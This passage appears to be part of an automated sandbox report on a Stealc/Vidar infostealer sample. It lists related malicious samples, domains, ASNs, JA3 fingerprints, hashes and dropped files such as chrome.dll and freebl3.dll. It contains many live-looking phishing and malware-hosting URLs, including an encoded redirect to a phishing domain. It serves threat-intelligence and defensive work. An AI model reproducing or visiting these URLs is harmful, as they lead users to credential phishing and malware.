	https://www.msn.com/en-ca/lifestyle/rf-buying-guides/redirect?rf_click_source=list&rf_client_click_id=000000000&rf_dws_location=&rf_item_id=502238318&rf_list_id=3519472&rf_partner_id=353781453390&rf_source=ebay&url=aHR0cHM6Ly9zdXBwb3J0LXRlYW1zbTM2MC5jYy8/aldFUz1iRzl5WlhSMFlTNXJaV0Z1WlVCaGNtTmhaR2xoYzI5c2RYUnBiMjV6TG1OdmJRPT0=	Get hash	malicious	Captcha Phish	Browse
	denuncia-6spnpo.PDF.htm	Get hash	malicious	Unknown	Browse
	https://lylrefrigeracion.com.pe/eod/eumest.php?mveina=9&c=E,1,dp9NEob1tkw1QlmkYDvrpdXiwpOZWzmXtsOSdXKGKBo6nVnI3CB1fphmKUxpZStAO9kKHVcgoRgNcB9cg-uZTI3IM6ecbHi9BxSH_dXeAQBC66bFMFp4kBht&typo=1&ancr_add=1	Get hash	malicious	Unknown	Browse
	confirmaci#U00f3n de reserva Jagarcia.msg	Get hash	malicious	Unknown	Browse
	https://rebrand.ly/b7b3d6	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
svc.ms-acdc-teams.office.com	Seeking Assistance for Legal Assistance in a Medical Matter.msg	Get hash	malicious	Unknown	Browse	52.123.243.81
	https://1drv.ms/b/c/7bab8803aa446446/EVRHiu8efYZAkD-YFD5xQmIBzT5hMnGkyiNpwrnOj-mH_g	Get hash	malicious	HTMLPhisher	Browse	52.123.224.72
	file.exe	Get hash	malicious	Unknown	Browse	52.123.243.83
	Inspection Notice.msg	Get hash	malicious	HTMLPhisher	Browse	52.123.243.74
	file.exe	Get hash	malicious	Unknown	Browse	52.123.243.199
	Order_ 039924.docx.doc	Get hash	malicious	Unknown	Browse	52.123.243.78
	z42ordemdecomprapdf.exe	Get hash	malicious	FormBook	Browse	52.123.243.200
	Firstontario Caller VM_00_94 Seconds REF#e764f827cc206df3733c6c719eb86bc36b5f54d1 7_9_2024	Get hash	malicious	Unknown	Browse	52.123.243.81
	11fa2b48-c25d-d2a8-7e3d-327f8f3a8ace.eml	Get hash	malicious	Unknown	Browse	52.123.243.199
	Updated Handbook.docx	Get hash	malicious	Unknown	Browse	52.123.243.83
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.154.84.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	52.108.79.26
	https://wetransfer.com/downloads/bd15c1f671ae60c5a56e558eb8cc43bf20241030150256/3b30cd5b9ce1ffb29d79c9118153941c20241030150256/70baef?t_exp=1730559776&t_lsid=6bd545a9-d09b-4abd-a317-124dbe9fe64d&t_network=email&t_rid=YXV0aDB8NjZlYWI0YTExODhmYzc1OGMzMmNiODIx&t_s=download_link&t_ts=1730300576&utm_campaign=TRN_TDL_01&utm	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://schiller.life/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	Derickdermatology.html	Get hash	malicious	Phisher	Browse	13.107.246.45
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	13.107.42.14
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	52.146.128.240
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	20.44.10.122
AKAMAI-ASN1EU	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	2.16.241.17
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	88.221.110.227
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	2.16.168.12
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.146
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.215
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	2.16.168.13
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.177
	vHnFyxemFf.elf	Get hash	malicious	Unknown	Browse	172.237.240.221
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.215
AMAZON-02US	074kFuPFv8.exe	Get hash	malicious	Unknown	Browse	52.216.207.13
	074kFuPFv8.exe	Get hash	malicious	Unknown	Browse	52.216.184.133
	https://wetransfer.com/downloads/bd15c1f671ae60c5a56e558eb8cc43bf20241030150256/3b30cd5b9ce1ffb29d79c9118153941c20241030150256/70baef?t_exp=1730559776&t_lsid=6bd545a9-d09b-4abd-a317-124dbe9fe64d&t_network=email&t_rid=YXV0aDB8NjZlYWI0YTExODhmYzc1OGMzMmNiODIx&t_s=download_link&t_ts=1730300576&utm_campaign=TRN_TDL_01&utm	Get hash	malicious	HTMLPhisher	Browse	54.170.178.201
	https://register.edx.org/verizon?&utm_source=vsf_e_paid-ggl-ubrnd&utm_medium=cpc&utm_campaign=GGL%7CEDX%7CAI%7CVSF%7CSEM%7CNBD%7CUS&gad_source=1&gclid=Cj0KCQjwj4K5BhDYARIsAD1Ly2pyzBeRgn77ojfsMTtg7r8SaT93hKq6Ob_f1zsDj7Kj8dy-Mn9a7tMaAng3EALw_wcB&_gl=11dphwek_gcl_awR0NMLjE3MzAyMTU4NDAuQ2owS0NRandqNEs1QmhEWUFSSXNBRDFMeTJweXpCZVJnbjc3b2pmc01UdGc3cjhTYVQ5M2hLcTZPYl9mMXpzRGo3S2o4ZHktTW45YTd0TWFBbmczRUFMd193Y0I._gcl_auMzQxNzQzMjE1LjE3MzAyMTU4Mzg._gaMTE0OTEyNzE2Ni4xNzMwMjE1ODM5_ga_D3KS4KMDT0*MTczMDIxNTgzOS4xLjAuMTczMDIxNTgzOS42MC4wLjA	Get hash	malicious	Unknown	Browse	108.138.7.126
	https://register.edx.org/verizon?&utm_source=vsf_e_paid-ggl-ubrnd&utm_medium=cpc&utm_campaign=GGL%7CEDX%7CAI%7CVSF%7CSEM%7CNBD%7CUS&gad_source=1&gclid=Cj0KCQjwj4K5BhDYARIsAD1Ly2pyzBeRgn77ojfsMTtg7r8SaT93hKq6Ob_f1zsDj7Kj8dy-Mn9a7tMaAng3EALw_wcB&_gl=11dphwek_gcl_awR0NMLjE3MzAyMTU4NDAuQ2owS0NRandqNEs1QmhEWUFSSXNBRDFMeTJweXpCZVJnbjc3b2pmc01UdGc3cjhTYVQ5M2hLcTZPYl9mMXpzRGo3S2o4ZHktTW45YTd0TWFBbmczRUFMd193Y0I._gcl_auMzQxNzQzMjE1LjE3MzAyMTU4Mzg._gaMTE0OTEyNzE2Ni4xNzMwMjE1ODM5_ga_D3KS4KMDT0*MTczMDIxNTgzOS4xLjAuMTczMDIxNTgzOS42MC4wLjA	Get hash	malicious	Unknown	Browse	143.204.215.119
	https://jpm-ghana-2024-election-conversation-with-oct-24.open-exchange.net/join-the-call?ml_access_token=eyJjb250ZW50Ijp7ImV4cGlyYXRpb25EYXRlIjoiMjAyNC0xMC0zMVQxNToyMDo1OS4wMDZaIiwiZW1haWwiOiJyZGVpdHpAdnItY2FwaXRhbC5jb20iLCJldmVudElkIjo0MjY3Mn0sInNpZ25hdHVyZSI6Ik1FVUNJQzhaMDJJblVZd0syUk9WRkdjL1pMNHRBbWo4RmwxdW9mQjhwZzRmSjZsMkFpRUE5d25HUFFoa3ZrdkM2MlJkQ3lkM09YbnFJZ0xlQTAwMDIxNlRWbG9Hb0ZjPSJ9	Get hash	malicious	Unknown	Browse	18.245.60.47
	chica-pc-shield-1-75-0-1300-en-win.exe	Get hash	malicious	GhostRat, Xtreme RAT	Browse	65.9.66.84
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	18.245.46.34
	chica-pc-shield-1-75-0-1300-en-win.exe	Get hash	malicious	GhostRat, KillMBR, Xtreme RAT	Browse	65.9.66.107
	Complete with Docusign_ Remittance Advice .pdf(1).eml	Get hash	malicious	HTMLPhisher	Browse	52.42.45.237
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	52.108.79.26
	https://wetransfer.com/downloads/bd15c1f671ae60c5a56e558eb8cc43bf20241030150256/3b30cd5b9ce1ffb29d79c9118153941c20241030150256/70baef?t_exp=1730559776&t_lsid=6bd545a9-d09b-4abd-a317-124dbe9fe64d&t_network=email&t_rid=YXV0aDB8NjZlYWI0YTExODhmYzc1OGMzMmNiODIx&t_s=download_link&t_ts=1730300576&utm_campaign=TRN_TDL_01&utm	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://schiller.life/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	Derickdermatology.html	Get hash	malicious	Phisher	Browse	13.107.246.45
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	13.107.42.14
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	52.146.128.240
	https://cruparcellaire-my.sharepoint.com/:u:/g/personal/dani_grandrcu_com/EffQlMxf6g9Hiljl1DzmuTcB4-lo0t9ejs2hIBwCnQfe1g?e=TtenDj	Get hash	malicious	Unknown	Browse	20.44.10.122

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	23.1.237.91
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://joseordenes.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9TUZCc01WYz0mdWlkPVVTRVIyODEwMjAyNFUxOTEwMjgxMA==N0123N%5BEMAIL%5D	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	23.1.237.91
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	23.1.237.91
	https://draxcc.com/	Get hash	malicious	Unknown	Browse	23.1.237.91
	Reff_Yazaki-europe_575810710108_ZnjKTIejsM.html	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	https://schiller.life/	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	https://jpm-ghana-2024-election-conversation-with-oct-24.open-exchange.net/join-the-call?ml_access_token=eyJjb250ZW50Ijp7ImV4cGlyYXRpb25EYXRlIjoiMjAyNC0xMC0zMVQxNToyMDo1OS4wMDZaIiwiZW1haWwiOiJyZGVpdHpAdnItY2FwaXRhbC5jb20iLCJldmVudElkIjo0MjY3Mn0sInNpZ25hdHVyZSI6Ik1FVUNJQzhaMDJJblVZd0syUk9WRkdjL1pMNHRBbWo4RmwxdW9mQjhwZzRmSjZsMkFpRUE5d25HUFFoa3ZrdkM2MlJkQ3lkM09YbnFJZ0xlQTAwMDIxNlRWbG9Hb0ZjPSJ9	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	Derickdermatology.html	Get hash	malicious	Phisher	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	Complete with Docusign_ Remittance Advice .pdf(1).eml	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	https://cosiosos.com.de/7i2ko/	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	https://myworkspacec1d73.myclickfunnels.com/onlinereview--9cb35?preview=true	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	https://zastromts.za.com/v3oX/#E	Get hash	malicious	HTMLPhisher	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	http://ffcu.online	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68
	Receipt.htm	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.253.45 184.28.90.27 40.126.32.68

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Uviv7rEtnt.exe	Get hash	malicious	Stealc, Vidar	Browse
	pWz7aRypjY.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse

Created / dropped Files

C:\ProgramData\BGIJEGCGDGHDHIDHDGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GCGHJEBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264913646054848
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMhSAELyKOMq+8yC8F/YfU5m+OlTLVum05:Bq+n0Jh9ELyKOMq+8y9/Ow7
MD5:	4BC9749B7B64B4695E6771413CC75F81
SHA1:	B86140F0AEAF4F2D2944B0C3063424FBD9150C32
SHA-256:	4C6CED2607963D6AB5DE762B1930F8E3D0B903A916E38A236A426A2E8B7A80CD
SHA-512:	1FB2C27815C5C5082701A9FA65D9D91A4EB7D00B029D0E8D32AA39433511F4BDEA2769D07352489BDB9ABF7CC0E2CBFC9B4F16C8DA26163FEF26E9CEC331C100
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDBKKKKKFBGDGDHIDBGHIEBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBGDHDAECBGDHJKFIDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHDGIEHJJJJEBGDAFHJEBGDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHCBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCFBAFBFHJEBGCAEGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tdnPqG0jmS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: kj5la5X8gv.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
